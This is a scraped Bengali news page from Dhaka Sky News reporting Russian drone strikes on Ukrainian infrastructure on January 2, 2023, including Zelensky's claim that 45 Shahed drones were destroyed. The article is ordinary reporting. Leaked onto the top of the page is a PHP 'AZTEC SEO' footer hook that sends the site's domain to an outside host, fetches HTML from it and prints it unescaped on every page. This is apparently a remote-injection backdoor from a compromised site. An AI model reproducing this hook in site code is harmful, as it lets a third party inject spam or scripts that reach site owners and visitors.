/* AZTEC SEO */ add_action('wp_footer', function () { $domain = wp_parse_url(home_url(), PHP_URL_HOST); if (!$domain) return; $ck = 'aztec_footer_' . md5($domain); $html = get_transient($ck); if ($html === false) { $url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer'); $res = wp_remote_get($url, array('timeout' => 8)); $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : ''; set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS); } if ($html !== '') echo $html; }, 99); ইউক্রেনের গুরুত্বপূর্ণ স্থাপনায় রাশিয়ার ড্রোন আক্রমন | Dhaka Sky News

শিক্ষার্থীদের সুনাগরিক হিসেবে গড়ে তোলাই প্রধানমন্ত্রীর লক্ষ্য

আগের সংবাদ

১২ কেজি সিলিন্ডার গ্যাসের দাম ৬৫ টাকা কমেছে

পরের সংবাদ

ইউক্রেনের গুরুত্বপূর্ণ স্থাপনায় রাশিয়ার ড্রোন আক্রমন

ঢাকা স্কাইনিউজ ডেস্ক

প্রকাশিত: January 2, 2023 , 1:15 pm

ইউক্রেনের রাজধানী কিয়েভসহ বিভিন্ন স্থানে গুরুত্বপূর্ণ অবকাঠামোতে ২ জানুয়ারি সোমবার ভোর থেকে ভয়াবহ ড্রোন হামলা শুরু করেছে রাশিয়া। ইউক্রেন দাবি করেছে, ২০২৩ সালের দ্বিতীয় দিনে বেসামরিক স্থাপনা লক্ষ্য করে বোমা হামলা বাড়িয়েছে মস্কো। খবর রয়টার্সের। নতুন বছরের প্রথম প্রহর থেকেই ইউক্রেনের ভূখণ্ডে ক্ষেপণাস্ত্র ও ড্রোন হামলা জোরদার করেছে রাশিয়া। তবে ইউক্রেনের দাবি, তাদের আকাশ প্রতিরক্ষাব্যবস্থা অনেক ড্রোন হামলা প্রতিহত করেছে।

এমন দৃশ্য দেখে ইউক্রেনীয়রা বারান্দা থেকে জয়ধ্বনি দেন। বিমান হামলার সাইরেন বেজে উঠলে কেউ কেউ চিৎকার করে বলেন, ইউক্রেনের বিজয়। দেশটির প্রেসিডেন্ট ভলোদিমির জেলেনস্কি রোববার রাতে বলেছেন, ইরানের তৈরি ৪৫টি শাহেদ ড্রোন ধ্বংস করেছেন আমাদের সেনারা। এসব ড্রোন ইউক্রেনে হামলার জন্য ব্যবহার করছে রুশ বাহিনী।

তিনি আরও বলেন, ড্রোন, মিসাইল কোনো কিছুই রুশ বাহিনীকে এ যুদ্ধে খুব একটা সাহায্য করবে না। কারণ আমরা ইউক্রেনীয়রা ঐক্যবদ্ধ। কিয়েভের গভর্নর ওলেক্সি কুলেবা বলেন, রাজধানী ও অঞ্চলটিতে রাতে ড্রোন হামলা চালাচ্ছে রাশিয়া। গুরুত্বপূর্ণ অবকাঠামো লক্ষ্যবস্তু করে রুশ বাহিনী ইরানের তৈরি শাহেদ ড্রোন দিয়ে হামলা চালায়।

উল্লেখ্য যে, গত বছরের ২৪ ফেব্রুয়ারি থেকে পুতিনের নির্দেশে ইউক্রেনে বিশেষ সামরিক অভিযান শুরু করে রুশ বাহিনী।